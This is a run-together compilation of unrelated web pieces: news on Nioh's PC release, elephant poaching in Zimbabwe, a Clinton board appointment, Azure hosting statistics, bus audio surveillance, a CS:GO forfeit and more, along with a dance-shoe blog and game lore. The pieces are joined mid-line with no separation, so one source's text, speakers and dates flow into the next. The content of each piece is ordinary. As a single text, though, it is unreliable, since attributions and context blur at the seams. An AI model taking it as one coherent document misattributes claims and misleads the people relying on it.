John Herald, a bluegrass singer, wrote a song dedicated to Martha and the extinction of the passenger pigeon that he titled "Martha (Last of the Passenger Pigeons)".[18]
See also [ edit ]
References [ edit ]Koei Tecmo has announced Nioh, its Dark Souls-like samurai RPG, will be available on PC through Valve's Steam service from November 7, 2017. This version will be released digitally as "Nioh: Complete Edition," and will feature the original game and the three DLC expansions made available for the PS4 version post-launch.
"Team Ninja is well aware of the fact that many gamers have been passionately asking for a PC version of Nioh," said the game's director, Fumihiko Yasuda. "I am thrilled to announce that this massocore game will finally be available for our die-hard PC fans in Nioh: Complete Edition! I hope you all enjoy the unforgettable drama and deeply challenging Yokai battles this action-packed experience has to offer."
The PC version will have Action Mode, which runs the game at a "stable 60 frames per second," or Movie Mode, which is "a cinematic option that can expand the display resolution to 4K." Although Koei Tecmo doesn't specify as much, the Movie Mode will presumably run at a lower frame rate.
To celebrate the release of Nioh: Complete Edition, a new item called the Dharmachakra Kabuto helmet will be available for the PC version.
"The Wheel of Dharma kabuto is a form of 'kawari-kabuto'--a family of helmets featuring fantastical designs," explains Koei Tecmo. "This helmet features a red-lacquered front crest of an ancient Buddhist symbol depicting the eightfold path to nirvana. This holy image represents spiritual enlightenment attained by casting off one's worldly desires, and also holds the power to banish evil.
"However, some claim this is not a Wheel of Dharma at all, merely a replica that looks as though it belongs on a device to regulate steam... Some have gone so far as to suggest renaming it to 'Valve Kabuto,' but why anyone would make a helmet featuring a valve is unclear."
In GameSpot's Nioh review, critic Miguel Concepcion awarded it a 9/10. "Although the spectre of potential failure hangs heavy over any play session, dying in Nioh is never genuinely disheartening," he said. "This is thanks in part to the various avenues of character growth and many approaches you can utilize to tackle a difficult section or boss fight. It shouldn't be surprising that the foresight and patience needed to survive a battle in Dark Souls translates well to the fundamentals of samurai combat here.
"Nioh's most invigorating and intimidating moments occur when you feel you're at equal footing with your opponent. And it's during these encounters that one careless move can result in your demise or the right string of thoughtful actions can make you feel invincible."Zimbabwean ivory poachers have killed more than 80 elephants by poisoning water holes with cyanide, endangering one of the world’s biggest herds, a minister said on Wednesday.
Saviour Kasukuwere, the country’s environment minister, said the elephants had died in the last few weeks in Hwange national park, the nation’s largest, while security forces were preoccupied with the general election on 31 July.
Police and rangers recovered 19 tusks, cyanide and wire snares after a sweep through villages close to the park, which lies just south of Victoria Falls.
“We are declaring war on the poachers,” he said. “We are responding with all our might because our wildlife, including the elephants they are killing, are part of the natural resources and wealth that we want to benefit the people of Zimbabwe.”
Zimbabwe is home to some of Africa’s largest herds, with half of the estimated 80,000 elephants thought to be in Hwange.
Kasukuwere, who was appointed to the environment ministry a week ago, said he would push for stiff penalties for convicted poachers, who routinely get less than the nine-jail term imposed for cattle rustling.
Zimbabwe is working to revive its tourism industry, including its wildlife sector, which has suffered years of decline blamed by some on the economic policies of the long-serving president, Robert Mugabe.
Mugabe and his Zanu-PF party, in power since the former Rhodesia gained independence from Britain in 1980, was re-elected in an election in July that was rejected by his main rivals, who said it was rigged.
This article originated from Reuters in Harare and published by the Guardian.
Latest News
Zimbabwean court officials say three poachers convicted of the cyanide poisoning of water holes that killed 81 elephants in a northwestern nature park to collect ivory have been sentenced to up to 16 years in jail.
Officials in the court in Hwange, 750 kilometers (470 miles) west of Harare, said Thursday the men were found guilty under anti-poaching laws and for illegal possession of 17 elephant tusks.
Another five suspects were ordered to be held in custody until their Oct. 4 trial.
Wildlife authorities say 81 elephant carcasses were found in the remote Hwange National Park in the past month. Officials said it was not clear where the other tusks were hidden or whether they had already been smuggled out of Zimbabwe to lucrative illegal ivory markets in Asia.
This article was published on Yenghana.com/The first thing I did when I started dancing is buying some dance shoes. I I bought my first dance shoes in GoSalera. GoSalera is a original dance shoes store.
Every dancer must have good dance shoes to protect his feet. To choose the footwear you have to follow these simple tips:
Flexibility
It is an attribute when looking at your shoes, it is important that they are flexible to bend the toes well when dancing.
Dance shoes type
You have to know that there are different types of shoes depending on the dance you are learning. There are training shoes, Latin shoes, jazz shoes, shoes with different heel heights, etc., so to choose well you have to make sure that you are choosing the right kind of shoe.
special dance shoes type
The dance shoes can not be slippery so that with the rapid and spontaneous dance moves prevent you from tripping. The soles are made of split leather or split leather, which causes them to catch the ground when turning.
Material
The material with which the shoe is made must be taken into account, the interior is usually made of cotton and the exterior can be made of various materials (satin, leather, patent leather), as they can be quite skimpy when dancing the material has to be good quality.
Sizing
It is very important to check your foot size for dancing shoes. You have to make sure that it fits very well to your foot, it can not go very loose or very tight. Do you want to know what your size is for a dance shoe? Look at this article to measure your foot. It also has to have bow support to make it much more comfortable to dance.
Price
It is important to know that the price is usually a little high since it is considered a special shoe type. The good thing is that it is amortized if you use it for your classes and also to go out and dance. Sure you do not regret buying good shoes. Compare prices online, by academies and through physical stores and value where you can get better. On the Internet you can find online stores where shoes come from outside of Spain quite cheap, but consider that cheap can be expensive.
Premiere before
Before leaving for the dance floor you have to use your shoes to avoid injuries to your feet. Use your shoe about 2 or 3 times in class. The shoe will conform to your foot.
I hope you liked my post if you have any doubts you already know where to find me.
Dancing is great fun, You can meet new friends and it is a perfect way to socialize with other peopleMichael Bloomberg and his billions get most of the attention in the anti-gun universe, but don’t go to sleep on Gabby Giffords and Mark Kelly. The peripatetic duo just announced that they’re merging their civilian disarmament advocacy shop, Americans for Responsible Solutions, with the San Francisco-based Law Center to Prevent Gun Violence. Sometimes mergers like this are done in desperation, the last ditch efforts of two failing organizations to keep their heads above water. But as usatoday.com’s report lays out, this one looks like the firm of Kelly & Giffords saw an opportunity to add some legal muscle to their anti-2A portfolio by taking over a smaller competitor...
The Law Center will now operate as part of the Americans for Responsible Solutions Foundation. No change in leadership or staffing is planned at either group. Americans for Responsible Solutions Foundation took in $159,900 in 2014, according to its most recent tax return filed with the Internal Revenue Service. Americans for Responsible Solutions Political Action Committee raised about $3 million in the final six months of 2015, according to its filing with the Federal Election Commission. There was about $4.2 million in its campaign account at the start of 2016. The Law Center took in about $1.4 million in 2014, according to its most recent tax return.
USA Today makes sure to cast the newly expanded entity as the scrappy little competitor to the big bad 800 pound pro-gun gorilla.
The NRA’s Political Victory Fund raised $572,406 in January, according to an FEC report, and had $11.3 million in its account to start February. In addition, the NRA Foundation had $41.3 million in revenue in 2013, according to its most recent tax filing, and total assets of $115.2 million.
So yes, the NRA and its estimated five million members can outspend the newly expanded ARS. But again, Bloomberg’s net worth is estimated at over $38 billion which means he could buy and sell the NRA with the cash he keeps in checking if he wanted to. Have you renewed your NRA membership yet?Hillary Clinton’s former chief of staff at the State Department had a Democratic donor with virtually no relevant experience appointed to a nuclear intelligence advisory board, according to a new report that also claims the aide tried to stall journalists examining his background.
ABC News reported that copies of internal emails obtained under the Freedom of Information Act indicate Rajiv K. Fernando had thin qualifications for a seat on the board, other than his close connection to Bill and Hillary Clinton.
Fernando, a Chicago securities trader, had been a fundraiser for Democratic candidates and a financial contributor to the Clinton Foundation and even traveled with Bill Clinton on a trip to Africa. The board he was appointed to – the International Security Advisory Board – included nuclear scientists, members of Congress and former cabinet secretaries.
The board is a governmental body, overseen by the Under Secretary for Arms Control and International Security, that advises the department on arms control and related issues. According to the group’s charter, members who are not full-time government employees “may receive compensation for the time served at the rate of GS-15 step 10, plus transportation and per diem for overnight travel.” That indicates the highest level of pay for typical federal government employees.
However, a Clinton spokesman said it was unpaid and defended his qualifications.
In a statement, spokesman Nick Merrill said, “This was an unpaid, volunteer advisory board, and one of several foreign policy-focused organizations that he was involved with. As the State Department itself has said, the ISAB charter calls for a diverse set of experiences for its members. That's all there is to it."
The emails reportedly show that Clinton's chief of staff, Cheryl Mills, pushed for Fernando.
A top official in the Office of the Under Secretary of State for Arms Control and International Security explained to a press aide, “The true answer is simply that S staff (Cheryl Mills) added him.... Raj was not on the list sent to S; he was added at their insistence.”
"S" apparently refers to Secretary of State Hillary Clinton.
Former House Speaker Newt Gingrich told Fox News on Friday the suggestion Clinton got Fernando onto a board that advised on the use of nuclear weapons is “even more significant” than reports her private emails had details on drone strikes.
“He was appointed to the group, which has some of the most sensitive secrets because it looks at Pakistan, North Korea, Russia,” Gingrich said. “It is very clear that this was just pure corruption. This was cash for a seat on a board. “
At the time, Fernando’s appointment seemed to confuse some staffers, according to emails.
“We had no idea who he was,” one board member told ABC News.
The news organization first contacted the State Department in August 2011 and asked for a copy of Fernando’s resume.
Subsequent emails show officials trying to slow-walk the process.
One press aide wrote that “it appears there is much more to this story that we’re unaware of.”
“We must protect the Secretary's and Under Secretary's name, as well as the integrity of the Board. I think it's important to get down to the bottom of this before there's any response … As you can see from the attached, it's natural to ask how he got onto the board when compared to the rest of the esteemed list of members," press aide Jamie Mannina wrote.
According to the emails, Mannina was instructed by Mills to stall with ABC News. When Mannina did get back several days after the initial inquiry, it was only to say Fernando had resigned.
“Mr. Fernando chose to resign from the Board earlier this month citing additional time needed to devote to his business,” Mannina wrote. Fernando was working at the time at the firm he founded and later sold, Chopper Trading.
Fernando, an early supporter of Clinton’s 2008 presidential bid, maxed out the number of contributions he could give to her campaign and to HillPAC in 2007-2008.
He also helped raise more than $100,000 for her and ended up giving the William J. Clinton Foundation $250,000 and $30,000 to advocacy group WomenCount, which helped Clinton with her 2008 campaign.The Zebra Salon
Anup Shah via Getty Images
Grooming can occur at any time of day, and a single session may last up to half an hour. Standing face-to-face, grooming partners begin by nibbling each other’s neck and work their way down toward the tail on one side and then to the other. Every zebra in the group engages in mutual grooming. Watching who grooms whom can help you discern relationships between individuals. The animals with the strongest bonds groom each other most frequently. You’ll notice, after watching a herd for a long time, that the stallion plays favorites when it comes to grooming the mares. He grooms certain mares more often, and if there is a young mare in heat, he will pay most attention to her. In bachelor groups, all the males groom one another, but without noticeable preferences.Stoke City will now face Sunderland in round three
Jon Walters scored a goal in each half as Stoke City comfortably saw off League Two side Portsmouth in the Capital One Cup.
The Republic of Ireland international met Marc Muniesa's cross at the near post to steer the Potters ahead.
Walters made the game safe at the start of the second half when he tapped in Victor Moses' excellent pullback.
Peter Crouch added a third in the final minute with a powerful header from a fine Walters cross.
Moses, making his debut on loan from Chelsea, had two efforts saved by Paul Jones in an impressive display, while Crouch could have had more goals in a much-changed Stoke XI.
Pompey - who made eight changes of their own - saw their best effort turned away by stand-in goalkeeper Jack Butland, with the England international saving Andy Barcham's shot.
Stoke now face Sunderland in round three.From a New York Times article:
(Another end-of-year fact-check, while we’re at it: Mr. Trump claimed during the campaign that the homicide rate in his new home in Washington rose by 50 percent. In fact, it fell by 17 percent in 2016.)
Then-candidate Trump said, in July 2016:
Homicides last year increased by 17% in America’s fifty largest cities. That’s the largest increase in 25 years. In our nation’s capital, killings have risen by 50 percent.
“Last year” as of July 2016 — 2015 — homicides in D.C. did rise by 54 percent, from 105 in 2014 to 162 in 2015. They then fell in 2016 to 135, which is to say they were down 17 percent from 2015, but up 28 percent from 2014.
So, really, Trump correctly stated (not just “claimed”) that the homicide rate in D.C. rose by 50 percent from 2014 to 2015. “In fact,” it did rise by that much. But some of that decline turns out to have gotten reversed in 2016, so that the homicide rate in D.C. rose by only 28 percent from 2014 to 2016.
There’s a lot to be said for not focusing too much on year-to-year changes in homicide statistics, which can be volatile. Even a rise over two years doesn’t tell us that much, though it’s troubling. And we should indeed remember that homicides and other crimes have generally declined sharply from their 1991 peak (though of course we want to be watchful for any reversal of the trend). If the argument is simply in favor of caution about reading too much into yearly statistics, I’m all for that.
But the New York Times “fact-check,” it seems to me, goes far beyond that: It suggests that Trump got his facts wrong (he “claimed” one thing but “in fact” it was something else), and I think it misleads readers into missing the fact that, even counting the 2016 decline, the homicide still rose sharply from the reference year Trump was using — 2014 — to the present.
Thanks to Ethan Epstein (Hot Air) and InstaPundit for the pointer.
UPDATE: The New York Times article has been changed to read,
Another end-of-year reality check, while we’re at it: Mr. Trump claimed during the campaign that the homicide rate in his new home in Washington rose by 50 percent, apparently citing the previous year’s crime statistics. At the time, though, the rate in the city was already falling, and by year’s end, it was down by 17 percent.
Well, yes, as of July 2016 (the time Trump was speaking), the rate in the city appeared to be down 9% from the 2015 numbers — but even that would have meant a rise of 40 percent from 2014 to the 2016 rate. And though the rate fell further in 2016, it still ended the year, as I mentioned, up 28 percent from the 2014 rate.Microsoft has edged ahead of Amazon to become the largest hosting company as measured by the number of web-facing Windows computers. The pair have been neck and neck for almost nine months: Microsoft now has 23,400 web-facing Windows computers against Amazon's 22,600. Barring companies with large connectivity aspects to their businesses — including China Telecom, Comcast, Time Warner, and Verizon — Amazon and Microsoft are the largest Windows hosting companies in the world, though the market is still fragmented with each having just over 1% of the market.
Microsoft's growth is predominantly a result of the growth of Windows Azure: Azure now accounts for close to 90% of all web-facing computers at Microsoft. Windows Azure has grown by almost 50% since May 2013, during the February 2014 Web Server survey Netcraft found 27,000 web-facing computers (both Windows and Linux) using the cloud computing platform. Many of Microsoft's own services are powered by Windows Azure including Office 365, Xbox Live, Skype, and OneDrive.
Windows Azure Web Sites service — available to the general public since June 2013 — may be the driving force behind Azure's growth. This Platform as a Service allows existing applications written in ASP, ASP.NET, PHP, Node.js, or Python to be deployed on an automatically scaling platform without managing individual computers. Microsoft also provides pre-configured software packages, such as WordPress, which can be used immediately with the Web Site service.
With over 1% of all Windows web-facing computers in the world hosted at Azure, Microsoft is now defeating the Windows hosting providers which it still partners with, and which four years ago would have been its sole revenue source in the hosting market.
Azure Regions
Azure's data centres are split into regions and geos: there are several regions within each larger geo (formerly major regions).
GEO REGIONS United States US West (California), US East (Virginia), US North Central (Illinois), US South Central (Texas) Europe Europe West (Netherlands), Europe North (Ireland) Asia Pacific Asia Pacific East (Hong Kong), Asia Pacific South-East (Singapore) Japan Japan East (Saitama Prefecture), Japan West (Osaka Prefecture)
The two new Japanese Azure regions were made available to the general public on 25th February 2014, less than a year after they were first announced. Whilst all other Azure regions all share the same price for virtual machines (from 2¢ per hour), the two new Japanese regions are more expensive: virtual machines start at 2.7¢ (Japan East) and 2.4¢ (Japan West) per hour. Neither Japanese region was detected in the February 2014 web server survey which ran in mid-January.
More than half of all web-facing Azure computers are hosted within the United States. US East is the most populated US region, closely followed by US West. However, Europe West is the most populated Azure region in the world, accounting for 20% of all web-facing Azure computers. In total, 52% of Azure's web-facing computers are in the United States, 36% are in Europe, and only 12% are in Asia Pacific.
Being able to use Windows Azure in China could offer new opportunities to non-Chinese companies who wish to increase their internet presence in China, although Netcraft has previously noted a number of issues which could hold back the growth of cloud computing in China.
For additional performance when serving content to users around the globe, the Windows Azure Content Delivery Network (CDN) can be used. This allows end users to download content from one of more than 20 different CDN node locations, which is likely to be quicker than downloading the non-cached content directly.
Whilst Azure operates across the globe certain features, such as redundancy, can only operate within the same geo. Furthermore, some Azure services are not available in all regions – for example, Azure Web Sites cannot be deployed in US South Central or Asia Pacific South-East, and the Windows Azure Scheduler is only available in one region per geo.
Operating systems
Windows Azure virtual machines exhibit the TCP/IP characteristics of the operating systems installed on them, and thus it is possible to remotely determine which operating systems are being used by Azure customers.
Windows Server 2008 is the most popular operating system installed on Azure instances, although this is not necessarily a choice that is down to the customer — for example, when using the Blob storage service to expose files over HTTP/HTTPS, the user cannot choose which operating system to use.
Windows Server is used by 90% of all web-facing computers at Azure, including three computers which still appear to be running Windows Server 2003. The remaining 10% use Linux, with Ubuntu being the most commonly identified distribution.
Unsurprisingly, Microsoft IIS and Microsoft HTTPAPI are the most common web servers on the Windows Server computers at Azure; however, a few hundred websites use Apache on Windows. As expected, Apache is the most common web server for websites served from Linux machines at Azure (62%) followed by nginx (33%).
Preview services
Several Azure services are currently offered only as preview services, which means they are made available only for evaluation purposes. Some of these preview services have had well-established Amazon equivalents for several years. For example, the Windows Azure Scheduler preview service offers similar functionality to Amazon's Simple Workflow Service (SWF), which has been available for 2 years.
Microsoft's preview services also include the Azure Import/Export Service, which allows users to transfer large amounts of data into Windows Azure Blob storage. Customers can send an encrypted hard disk to Microsoft and the data on the hard disk will be uploaded directly into the Blob storage account. Microsoft currently only accepts hard disk deliveries from the United States (although the service can be used to send data to and from European and Asian cloud regions). Amazon's own Import/Export service has been available since 2010.
Blob Storage
Windows Azure Blob (Binary Large Object) Storage is Microsoft's answer to Amazon's Simple Storage Service (S3). Both allow large files such as video, audio and images to be stored, although while Amazon has no storage limits, individual blobs on Azure have a storage limit of 200TB. Blobs can be mounted as drives and accessed from a web application as if they were ordinary NTFS volumes. If this is the only way a Blob is used, then the frontend computer responsible for that Blob will not be directly measurable over the internet: Netcraft measures only publicly visible computers with corresponding DNS entries and which respond to HTTP requests.
Microsoft offers both locally redundant storage (replicas are held within a single region) and geo-redundant storage (replicas are held in multiple regions within a single geo). Read-Access Geo Redundant Storage is currently available as a preview service. This allows customers to have read access to a secondary storage replica so that it may still be accessed in the event of a failure in the primary storage location.
Users of Windows Azure
Some well known users of Windows Azure include the Sochi 2014 Olympic Games, luxury sports car manufacturer Aston Martin, Taiwanese electronics brand BenQ, McDonald's Happy Studio, and the Have I been pwned? website, which allows users to see whether their email addresses or usernames have been affected by any publicly released website security breaches.
Troy Hunt, the developer of haveibeenpwned.com, uses Windows Azure Table Storage to store more than 160 million records much more cheaply than a comparable relational database. In fact, one of his complaints about Windows Azure is that it is too damn fast: "The response from each search was coming back so quickly that the user wasn’t sure if it was legitimately checking subsequent addresses they entered or if there was a glitch". Hunt also described how he used SQL Server on Windows Azure to analyse last year's Adobe data breach, which with 153 million records. After downloading the breach data to a low-spec Azure virtual machine, he then upgraded the virtual machine to an 8-processor system with 56 gigabytes of RAM and completed his on-demand analysis at an estimated cost of $12.Once again, Ron Paul will face a Republican primary challenge for his Congressional seat in 2010:
Katy resident Tim Graney has announced his candidacy for the 14th Congressional District, challenging maverick Republican incumbent Ron Paul.
Grainey, a former small business owner who will be entering his first political race, said the district needs a new voice in Congress, particularly in the area of foreign policy.
“It is time for Ron Paul to step down and step aside so he can pursue his own interests while a new statesman emerges to represent the district,” Graney said. “I told him so Sunday afternoon.”
[…]
“I am a fiscal conservative, but I do not support Ron Paul’s weak foreign policy views, nor do I support his do whatever you want ultra-Libertarian views that conflict with our American values,” Graney said.City buses across America now covertly recording passengers' conversations
City buses across America increasingly have hidden microphones that track and record the conversations that take place on them. It's easy to see the reasoning behind this: once it's acceptable to video-record everything and everyone on a bus because some crime, somewhere was thus thwarted, then why not add audio? If all you need to justify an intrusion into privacy is to show that some bad thing, somewhere, can be so prevented, then why not? After all, "If you've got nothing to hide..."
According to the product pamphlet for the RoadRecorder 7000 system made by SafetyVision (.pdf), “Remote connectivity to the RoadRecorder 7000 NVR can be established via the Gigabit Ethernet port or the built-in 3G modem. A robust software ecosystem including LiveTrax vehicle tracking and video streaming service combined with SafetyNet central management system allows authorized users to check health status, create custom alerts, track vehicles, automate event downloads and much more.” The systems use cables or WiFi to pair audio conversations with camera images in order to produce synchronous recordings. Audio and video can be monitored in real-time, but are also stored onboard in blackbox-like devices, generally for 30 days, for later retrieval. Four to six cameras with mics are generally installed throughout a bus, including one near the driver and one on the exterior of the bus. Cities that have installed the systems or have taken steps to procure them include San Francisco, California; Eugene, Oregon; Traverse City, Michigan; Columbus, Ohio; Baltimore Maryland; Hartford, Connecticut; and Athens, Georgia.
There are lots more exciting possibilities opened up here. For example, our phones and laptops could continuously stream all the audio from our immediate surroundings when we're in public, even when we're not actively using them. No one would listen to them in real-time (or, at least, no one would be authorized to do this), unless they were a cop or someone in government. But when a crime was committed, imagine how useful it would be if all the phones in the vicinity could be tapped for a record of the event!
Why not? If you've got nothing to hide?
This is the NSA's argument, by the way. They're recording all of the Internet and voice traffic in the USA, but they only plan on examining it after the fact, to find criminals who do bad, bad things. Once you accept that logic, there's no reason that they shouldn't put prisoner-tracking ankle-cuffs on all of us (mobile phones are only slightly less invasive than these, anyway, in the current legislative regime), start using lawful interception backdoors to watch us through the webcams in our consoles and computers, and so on.
It's also UK Home Secretary Theresa May's argument in favour of her "Snooper's Charter" -- the communications act she's pushing, which will give law enforcement the power to order service providers to retain any data, and give government and law enforcement access to it.
Public Buses Across Country Quietly Adding Microphones to Record Passenger Conversations [Kim Zetter/Wired]
(via Wil Wheaton)Warning: unless you’re an annoyingly carefree bon vivant with a hefty trust fund, reading our annual Best of Travel awards may trigger a deep sense of dissatisfaction with the pathetic state of your mundane life. There are so many cool places to go, you’ll think as you scroll through our 30 epic selections. And not enough time! Why am I stuck at this desk! Do not panic—this is a totally natural reaction. And that’s the beauty of our annual awards.
Outside has been covering the adventure-travel beat for nearly four decades, and our two veteran Best of Travel writers, Tim Neville and Stephanie Pearson, have spent months poring over the latest trip offerings and scouring the globe to uncover surprising new ideas. We know this beat, and now we’ve narrowed your choices of hotels, destinations, and outfitters from approximately 10.6 million to 30. The final choice is still on you, but the task is at least manageable. Or maybe you’ll get that trust fund. —Chris Keyes
1. Best Island: Bermuda
A subtropical archipelago of 181 volcanic islands, Bermuda won the bid to host the 2017 America’s Cup, thanks to near perfect North Atlantic sailing conditions. Beyond wind, the British Overseas Territory, just a two-hour flight from New York City, has 75 miles of pink-sand beaches interspersed with jagged limestone cliffs, many of which are perfect for deep-water soloing and hucking into the Atlantic from the top. Stay at Elbow Beach, a 50-acre hideaway with a private stretch of sand on the southern shore (from $455).
2. Best Dive: Cuba
Already sanctioned by the U.S. Treasury Department as an educational tour, this
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noting that the European Space Agency didn’t formally commit to the extension of the ISS to 2024 until a ministerial meeting last December.
Igor Komarov, head of the Russian state space corporation Roscosmos, suggested that there would be the need for a research facility in low Earth orbit beyond 2024. “We need something in low Earth orbit,” he said. “It’s better to make research in LEO if its possible to make them there.”
Future research, though, could be done with a different approach that the current management of the ISS. “In the future, should it be a different structure, maybe less investment-consuming, more efficient?” he said. “The next generation shouldn’t be a copy of the existing one.”
Komarov, however, backed away from reports that Russia was considering separating its modules from the ISS to form a Russian space station after 2024, acknowledging that the technical feasibility of that has been studied. “We have no plans to separate the Russian segment from the ISS,” he said. “We keep the same position, that we should work on the ISS together with our partners.”
Naoki Okumura, president of the Japanese space agency JAXA, said consideration of the long-term future of the ISS was premature at this time. “We need to look at the reality today before we think about the future that’s too far away,” he said through an interpreter. “By 2024, we need to make sure to generate as many results as possible from ISS-related missions.”
However, he said JAXA was in discussions with NASA about a potential role on the Deep Space Gateway facility in cislunar space. “JAXA is now making a serious deliberation as to what JAXA can do if we join the Deep Space Gateway and how we can support that,” he said. “We are in the middle of those discussions.”
Lightfoot cautioned that the Deep Space Gateway remained just a concept at this time, without the former endorsement of the project by the administration or Congress. “We shared that with our international partners,” he said, starting with discussions in April at the Space Symposium in Colorado Springs.
At a panel discussion later in the day at the conference, executives with Boeing and RSC Energia endorsed continued work on the ISS as well as development of the Deep Space Gateway concept.
“I think that it’s really important that, when you look at the transition of the International Space Station, we look at some lessons learned from shuttle and don’t repeat those,” said John Elbon, vice president and general manager of space exploration at Boeing. That means, he said, “we don’t set an arbitrary date to retire the station before there’s another low Earth orbit destination that can fill the requirements of the space station.”Final Fantasy XV Will Be Considered For Any Hardware That Uses DirectX 11
By Ishaan. June 25, 2013. 10:40pm
In the second part of his internal E3 interview with Square Enix, Kingdom Hearts and Final Fantasy XV director Tetsuya Nomura voices a few of his thoughts on the latter game. Nomura’s revelations of Final Fantasy XV aren’t as interesting as on Kingdom Hearts, but below is the video, in case you want to watch. The FF talk begins a little after the halfway mark.
Here are a few interesting tidbits from the talk with Nomura:
As previously reported, discussions regarding renaming Versus XIII to Final Fantasy XV began early on, and the final decision was made a couple of years ago.
There isn’t much of a turn-based style to the game, but there is a Command system as well. The game won’t be an “action-only” game. It needs to have the taste of Final Fantasy.
Imagine what it would feel like if Final Fantasy were to become an action game.
Noctis can battle by himself, but will be able to cooperate with other players/characters. The teamplay will also be connected to the game’s story. (Note: Whether this refers to multiplayer or AI-controlled team players is unknown, although Nomura has mentioned the possibility of multiplayer)
Noctis can’t actually defy gravity as it may seem to appear in the trailer; he can teleport himself into the air. The idea is to create a balance between realism and fantastical game actions.
Final Fantasy XV is being created at a quality higher than next-gen consoles are capable of, and the game is being ported down to consoles capable of running DirectX 11. Nomura specifically says that Square Enix will consider releasing the game for other hardware capable of running DirectX 11 as well. We’re going to assume that a PC release for FFXV is a very serious possibility.
Final Fantasy XV is in development for PlayStation 4 and Xbox One.Please enable Javascript to watch this video
GLOUCESTER -- At just 16 years old, Gavin Grimm said he can feel the weight of the world on his shoulders. Born in a female body, but always identifying as a male, the transgender teenager has lived in the national media spotlight in his hometown of Gloucester, Virginia after he sued the Gloucester School system over the right to use the boys' restroom. While the principal originally granted Grimm permission to use the boys' bathroom, the county's school board later reversed the decision after receiving complaints. Grimm must now use the girls' restroom or a single-unisex facility.
"It's not something any human being should have to face. It's dehumanizing," Grimm said. "I have been given a forum that has the potential to help many, many people other than myself."
Grimm has been diagnosed with gender dysphoria, a medical condition in which people feel strongly that they are not the gender they physically appear to be. Grimm said he experienced depression and anxiety because he was treated differently than his fraternal twin brother.
"I didn't have the all-American boy experience that I so desperately wanted," Grimm recalled. "I wanted the have the same conversations with my dad that my brother had. I wanted to have the same interactions- being treated the same, being looked at the same, because it's just how I felt and I was robbed of that."
At age 15, Grimm took measures to change his life.
He legally changed his name and began the process of transitioning his body to that of a male. He took hormone replacement therapy to give him the physical characteristics of a male.
While Gavin may feel isolated in his hometown, he is not alone in his transition.
The number of younger transgender patients has more than quadrupled over the past five years, according to the Human Rights Campaign, the world's largest lesbian, gay, bisexual and transgender civil right's group. Those teens and young adults have turned to plastic surgeons for help in the transition.
Richmond plastic surgeon Matthew Stanwix, M.D., said his practice has seen a big increase in interest from the younger generation. Patients, he said, have requested everything from simple body contouring to gender reassignment surgery.
Patients under the age of 18 must receive parental permission before undergoing medical procedures. They must also receive professional counseling.
"These individuals have been through counseling for a while, they have thought about surgery for a while, and their parents are very accepting," Dr. Stanwix said.
Stanwix said his patients are grateful to finally feel comfortable with their bodies.
Blue Clements, a University of Virginia graduate student, said surgery has changed life for the better.
"I didn't expect how- it was immediate after surgery - I still had the tubes in and (it was like) that's my chest - this is my body," Clements said.
Clements recently underwent top surgery to remove breast tissue. Clements said the surgery has offered confidence and peace of mind.
"Since transitioning, I've felt really loved for the first time," Clements said. "I've felt like myself for the first time."
While the story of Caitlyn Jenner has boosted public acceptance of the transgender community and more health insurance companies are covering surgical procedures, studies showed transgender students still face harsh treatment.
Three out of every four transgender student in Virginia reported they were harassed in school, according to a recent survey by the National Center for Transgender Equality. More than a third said they have been physically assaulted. Suicide remains a huge problem in the transgender community.
"You don't feel like you exist, and you don't feel like you matter," Clements said.
Can surgery change those feelings?
Some people question the ethics of allowing minors to make such life-changing decisions at such a young age. Gavin Grimm's mother Deirdre said for her family, there was no question her son made the right decision.
"As a parent, you just know. They can't live any other way," she said. "There's no other option for my child other than to be who he is."
Gavin Grimm's case now rests in Virginia's 4th Circuit Court of Appeals. In October, the U.S. Justice Department filed a brief in support of the Gloucester teen. Grimm said while his court battle is personal and painful, it has the ability to change the lives of thousands of transgender people, far beyond his small community.
"I understand it's not an opportunity many people get," Grimm said. "It's probably not one I'll ever get again.":Image Courtesy of DreamHack
For the first time in professional Counter-Strike: Global Offensive history, a team has forfeited a map in the grand finals of a major LAN tournament.
The Immortals could not field a full team at the starting time of the final match at DreamHack Montreal, with only Lucas “steel” Lopes and Ricardo “boltz” Prass ready to play. Marc Winther, Director of Dreamhack Masters, took to twitter announcing the forfeit. Later, DreamHack released a full statement regarding the forfeit.
Immortals did not show up in time for the start of the grand final and as a result have forfeited the first map. — Nix0n (@marcwinther) September 10, 2017
When players Henrique “HEN1” Teles, Lucas “LUCAS1” Teles, Vito “kng” Giuseppe, and coach Rafael “zakk” Fernandes arrived late for the start, they were informed they had forfeited the first map to their finals opponent, North, in a best-of-three. The Immortals ended up losing the next map 16-9 on Cobblestone and with it a Montreal DreamHack Championship and an extra $30,000 in their paychecks.
The head coach of the Immortals came forward taking responsibility for the forfeit.
“I have been sick for days and I took some medicine to help me sleep last night,” zakk stated. “I couldn’t hear the alarm and didn’t get up when it went off. And sometimes if I don’t get the team ready, they don’t get ready. This was my fault.”
When asked if the Immortals had an assistant coach or anybody else that could have stepped in the reply was a simple, “No.”
And the problems were just getting started.
A social media firestorm occurred after the grand finals when kng allegedly threatened violence against fellow CS:GO player Pujan “FNS” Mehta from Counter-Logic Gaming—a team they beat in the semifinals. In a tweet posted and since deleted, kng went after FNS tweeting, “Prove it or I’ll kill you!” This in direct response to the supposed allegations made in tweets by both FNS and his coach Steve “Ryu” Rattacasa that kng and his teammates were “hungover” and had been “spending the night partying” to be on time.
Update from #DHMTL17 After apparently spending the night partying, IMT players showed up late to our match this morning And again now — Ryu @ #DHMTL17 (@SelflessRyu) September 10, 2017
Worst part is I lost to a team with 3 players who were hung over — Pujan Mehta (@FNScsgo) September 10, 2017
Although FNS later came out and apologized saying his tweet was in jest, this has not assuaged the feelings of kng. “I never meant to justify a mistake with another, we did wrong and we apologize, but we never left here,” he said. “And this crap of the fns will have to prove it!”
This situation just exacerbates an already fragile Immortals squad that has been under the spotlight as reports of infighting between the coach and players have surfaced. According to multiple sources, the fighting and threat of players leaving the organization led to Immortals management signing João “Horvy” Horvath as a sixth player in case the scenario presented itself–an insurance policy.
While it may not be the exact situation Immortals management was expecting in signing Horvy, having a 6th man on the roster is going to be needed as kng faces certain suspension or worse for his twitter tirade.27 JUN 3302
Following three days of conflict, the Independents of Daramo have confirmed that the Federation has successfully resisted the Imperial offensive in the Daramo system. In the wake of the victory, Admiral Yorke of the Federal Navy extended his gratitude to the many pilots who supported the Federation, and added:
"Hopefully this episode will remind our enemies that they cannot simply take whatever they want. It was not so long ago that the Empire was nothing more than a gaggle of clueless colonists on Achenar 6d, while the Federation controlled over a thousand systems. The Empire should remember where it came from."
